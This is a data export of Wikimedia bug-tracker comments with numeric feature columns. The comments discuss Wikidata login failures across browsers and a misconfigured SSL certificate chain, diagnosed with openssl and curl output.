Denny, is the issue you're having that you're being logged out of Wikidata? Or that SUL isn't logging you into Wikidata in the first place?",,,1356138919,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-36,True,0.0,0.0,0.0,5.0,2.0,5.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,13.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,3.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,3.819672131147541,0.7049180327868853,"The original issue reported by MZMcBride was a bug in a security patch, that was later reverted, so I know the original issue has been fixed.

Denny, is the issue you're having that you're being logged out of Wikidata? Or that SUL isn't logging you into Wikidata in the first place?"
195100,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I think I got it. I get logged out at www.wikidata.org, but I am logged in at en.wikidata.org and de.wikidata.org. Only when I go to www.wikidata.org, I am not logged in.

So en.wikidata.org/wiki/Q1 : logged in. de.wikidata.org/wiki/Q1 : logged in. www.wikidata.org/wiki/Q1 : not logged in.

When I click on ""Random page"" for some reason I land on www.wikidata.org but that seems like an unrelated issue. 

I hope this helps.",,,1354536499,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,1.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,11.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,15.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,15.0,7.0,0.0,2.0,0.0,12.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,4.273809523809524,0.5595238095238095,"I think I got it. I get logged out at www.wikidata.org, but I am logged in at en.wikidata.org and de.wikidata.org. Only when I go to www.wikidata.org, I am not logged in.

So en.wikidata.org/wiki/Q1 : logged in. de.wikidata.org/wiki/Q1 : logged in. www.wikidata.org/wiki/Q1 : not logged in.

When I click on ""Random page"" for some reason I land on www.wikidata.org but that seems like an unrelated issue. 

I hope this helps."
195094,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Everything is fine in Safari 6 and Chrome 23. In Firefox 16 I can login to Wikidata, but then as soon as I click Special:RandomArticle, I am logged out again. This is not the case on en.wikipedia, where I stay logged in. All icons are displayed. It does not matter if I login on Wikidata or on en.wikipedia, I am logged in in Wikipedia, but not on Wikidata. No matter whether I use http or https.

But I did the following. Logged in on de.wikipedia, I follow their link on the Main Page to Wikidata as a sister project, and I arrive on de.wikidata.org on the Main Page, logged in. From many links it works. I can go to recent changes, go to items, etc. and stay logged in. Only Special:RandomArticle kicks me out, and I am logged out.

It is all a bit confusing, and I can not really see a pattern here.

I am running MacOS 10.7.5.",,,1354535800,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,1.5,0.5,0.0,2.0,2.0,2.0,1.0,0.0,0.0,0.5,5.5,0.0,0.0,0.5,0.0,7.5,0.0,7.0,14.5,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,8.5,0.5,1.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,7.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,21.5,1.5,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,9.5,14.5,9.5,0.0,0.0,0.0,9.5,0.0,0.5,1.5,0.5,0.5,0.0,0.0,1.0,3.520833333333333,0.5989583333333333,"Everything is fine in Safari 6 and Chrome 23. In Firefox 16 I can login to Wikidata, but then as soon as I click Special:RandomArticle, I am logged out again. This is not the case on en.wikipedia, where I stay logged in. All icons are displayed. It does not matter if I login on Wikidata or on en.wikipedia, I am logged in in Wikipedia, but not on Wikidata. No matter whether I use http or https.

But I did the following. Logged in on de.wikipedia, I follow their link on the Main Page to Wikidata as a sister project, and I arrive on de.wikidata.org on the Main Page, logged in. From many links it works. I can go to recent changes, go to items, etc. and stay logged in. Only Special:RandomArticle kicks me out, and I am logged out.

It is all a bit confusing, and I can not really see a pattern here.

I am running MacOS 10.7.5."
195088,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"For me it is the other way around. Firefox doesn't keep the login after I logged in, but in Chrome it works fine. All icons are displayed though.",,,1354534642,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,3.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,15.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5757575757575757,0.8484848484848485,"For me it is the other way around. Firefox doesn't keep the login after I logged in, but in Chrome it works fine. All icons are displayed though."
195081,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I am getting all broken icons when logging into wikidata.  (not tried other wikis)  We've been having issues with people staying logged in.

I can't seem to stay logged in as [[User:Aude]], especially in Chrome.  I seem to be able to login and stay logged in using Firefox and see the icons there.",,,1351747122,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-43,True,1.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,6.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,11.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,4.0,3.4166666666666665,0.7222222222222222,"I am getting all broken icons when logging into wikidata.  (not tried other wikis)  We've been having issues with people staying logged in.

I can't seem to stay logged in as [[User:Aude]], especially in Chrome.  I seem to be able to login and stay logged in using Firefox and see the icons there."
195072,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"We managed to reproduce this on James's computer in Safari, but not on my computer in Chrome.

I ran a Wireshark trace on James's computer (because Safari's debugger is useless for this particular purpose) and noticed that the cookie that is being set in stage 1 is not being sent back by Safari in stage 3. The response to a cookieless stage 3 request appears to be an error page. This is bad because 1) it's HTML while the browser is expecting an image and 2) it has a 200 status code while IMO it should really be 403.

It's not clear to me why these cookies are being dropped. If it's because of some 3rd-party cookie restriction, that should have been happening before today's changes as well, although the failure would have been less conspicuous: the images would still load, but the cookies wouldn't, so you would just have had broken SUL behavior but still have seen shiny images.",,,1351734221,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-43,True,0.5,0.0,0.0,2.5,2.0,3.5,2.0,1.5,0.5,0.5,3.0,0.5,0.0,0.0,0.0,2.0,0.0,8.0,11.5,0.0,1.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,6.0,1.5,2.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,1.0,0.0,0.5,0.5,15.5,1.0,1.5,0.5,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,5.5,6.5,8.0,4.5,2.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,3.0,0.0,5.0,11.5,4.0,0.0,0.0,0.0,5.0,0.0,1.5,2.5,0.5,1.0,0.5,0.0,0.5,3.8936170212765955,0.7021276595744681,"We managed to reproduce this on James's computer in Safari, but not on my computer in Chrome.

I ran a Wireshark trace on James's computer (because Safari's debugger is useless for this particular purpose) and noticed that the cookie that is being set in stage 1 is not being sent back by Safari in stage 3. The response to a cookieless stage 3 request appears to be an error page. This is bad because 1) it's HTML while the browser is expecting an image and 2) it has a 200 status code while IMO it should really be 403.

It's not clear to me why these cookies are being dropped. If it's because of some 3rd-party cookie restriction, that should have been happening before today's changes as well, although the failure would have been less conspicuous: the images would still load, but the cookies wouldn't, so you would just have had broken SUL behavior but still have seen shiny images."
195068,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I'm getting the same broken behavior (icons not loading) in Safari, Firefox, and Google Chrome on multiple computers and this just started today, as noted in comment 0. This leads me to believe that some change from today (cf. <http://wikitech.wikimedia.org/index.php?title=Server_admin_log&oldid=53070#October_31>) is to blame, though I don't see any CentralAuth changes in the log off-hand.",,,1351729902,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-43,True,3.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,13.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,16.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,3.6956521739130435,0.8115942028985508,"I'm getting the same broken behavior (icons not loading) in Safari, Firefox, and Google Chrome on multiple computers and this just started today, as noted in comment 0. This leads me to believe that some change from today (cf. <URL is to blame, though I don't see any CentralAuth changes in the log off-hand."
43437,Wikidata.org is using the SSL certificate for *.wikimedia.org,"Wikidata.org is using the SSL certificate for *.wikimedia.org

Reedy says this is RT #3803, creating bug here so no one else does.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1351286160,1366938213.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-tbrir7a33onbjeho4xwr,task_description,resolved,True,c2,1,True,False,True,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.044444444444444,0.7333333333333333,"Wikidata.org is using the SSL certificate for *.wikimedia.org

Reedy says this is RT #3803, creating bug here so no one else does.

--------------------------
**Version**: unspecified
**Severity**: normal"
183879,Wikidata.org is using the SSL certificate for *.wikimedia.org,Verified in Wikidata demo time,,,1378307160,,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Verified in Wikidata demo time
183872,Wikidata.org is using the SSL certificate for *.wikimedia.org,"openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443

Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA

    Verify return code: 0 (ok)",,,1366938159,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,40.5,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.6,"openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443

Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA

    Verify return code: 0 (ok)"
183861,Wikidata.org is using the SSL certificate for *.wikimedia.org,"dzahn: Could you take a look at comment 13, please (as you reviewed the initial patch in comment 12)?",,,1366907051,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4583333333333335,0.9166666666666666,"dzahn: Could you take a look at comment 13, please (as you reviewed the initial patch in comment 12)?"
183854,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #12)
> RT #3803 resolved, https://gerrit.wikimedia.org/r/#/c/30307/ merged.
> Closing too, thanks for the ping.

IMHO the diff doesn't look like a fix :(

If my understanding is correct, currently the certificate chain would let OpenSSL fail to verify the server certificate:

$ openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443
CONNECTED(00000003)
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=27:certificate not trusted
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
^^^
  This is wrong.

  It should be the issuer for cert 0, not a random CA that has nothing to do with the previous cert.

---
Server certificate
-----BEGIN CERTIFICATE-----
[...cut...]
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
---
No client certificate CA names sent
---
SSL handshake has read 3159 bytes and written 542 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-SHA
[...cut...]
    Verify return code: 21 (unable to verify the first certificate)
---
QUIT
DONE
$ 

Reopening again.",,,1354282713,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.6,2.4,0.6,0.0,0.0,0.2,0.2,0.2,0.0,0.0,0.0,2.0,0.2,1.0,2.8,0.2,1.2,0.2,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.2,0.0,1.8,0.2,0.2,0.6,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.2,0.0,0.0,0.4,0.0,0.0,0.0,12.8,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.4,0.2,0.0,0.0,0.0,0.0,0.0,1.8,0.8,26.0,0.2,0.2,2.2,0.0,0.0,0.0,0.2,2.2,0.6,1.6,0.0,1.2,2.8,29.2,0.0,1.2,0.0,1.2,0.6,0.2,0.4,0.0,0.2,0.0,0.0,0.6,3.755433646812957,0.5871212121212122,"(In reply to comment #12)
QUOTE
QUOTE

IMHO the diff doesn't look like a fix :(

If my understanding is correct, currently the certificate chain would let OpenSSL fail to verify the server certificate:

$ openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443
CONNECTED(00000003)
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=27:certificate not trusted
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
^^^
  This is wrong.

  It should be the issuer for cert 0, not a random CA that has nothing to do with the previous cert.

---
Server certificate
-----BEGIN CERTIFICATE-----
[...cut...]
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
---
No client certificate CA names sent
---
SSL handshake has read 3159 bytes and written 542 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-SHA
[...cut...]
    Verify return code: 21 (unable to verify the first certificate)
---
QUIT
DONE
$ 

Reopening again."
183849,Wikidata.org is using the SSL certificate for *.wikimedia.org,"RT #3803 resolved, https://gerrit.wikimedia.org/r/#/c/30307/ merged.
Closing too, thanks for the ping.",,,1354281045,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8823529411764706,"RT #3803 resolved, URL merged.
Closing too, thanks for the ping."
183845,Wikidata.org is using the SSL certificate for *.wikimedia.org,Is this still open?,,,1354271269,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Is this still open?
183841,Wikidata.org is using the SSL certificate for *.wikimedia.org,"I see this bug is now tagged with the ""shell"" keyword. I wonder if it should actually be tagged with the ""ops"" keyword instead.",,,1353704583,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,13.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.7,"I see this bug is now tagged with the ""shell"" keyword. I wonder if it should actually be tagged with the ""ops"" keyword instead."
183837,Wikidata.org is using the SSL certificate for *.wikimedia.org,"The certificate chain seems to be erroneously configured, a wrong CA ""Wikimedia CA"" is being appended to the chain instead of the issuer ""DigiCert High Assurance CA-3"":

---
Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
---

Therefore:

$ curl -v https://www.wikidata.org
* About to connect() to www.wikidata.org port 443 (#0)
*   Trying 2620:0:861:ed1a::12...
* connected
[...cut...]
* SSLv3, TLS alert, Server hello (2):
* SSL certificate problem: unable to get local issuer certificate
* Closing connection #0",,,1353416642,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,31.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.5,0.0,3.5,0.0,1.0,3.0,35.0,0.0,2.0,0.0,1.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,3.611111111111111,0.5656565656565656,"The certificate chain seems to be erroneously configured, a wrong CA ""Wikimedia CA"" is being appended to the chain instead of the issuer ""DigiCert High Assurance CA-3"":

---
Certificate chain
 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
---

Therefore:

$ curl -v URL
* About to connect() to www.wikidata.org port 443 (#0)
*   Trying 2620:0:861:ed1a::12...
* connected
[...cut...]
* SSLv3, TLS alert, Server hello (2):
* SSL certificate problem: unable to get local issuer certificate
* Closing connection #0"
183832,Wikidata.org is using the SSL certificate for *.wikimedia.org,"* https://wikidata.org
* https://www.wikidata.org
* https://example.wikidata.org
* https://fr.wikidata.org",,,1351544273,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.7272727272727273,0.2727272727272727,"* URL
* URL
* URL
* URL"
183827,Wikidata.org is using the SSL certificate for *.wikimedia.org,"<Krenair> Ah so wikidata SSL is working now
<^demon> Krenair: For wikidata.org & www.wikidata.org. Lang subdomains need a little further tweaking.
<^demon> Krenair: Apache config is correct. It needs further DNS work.

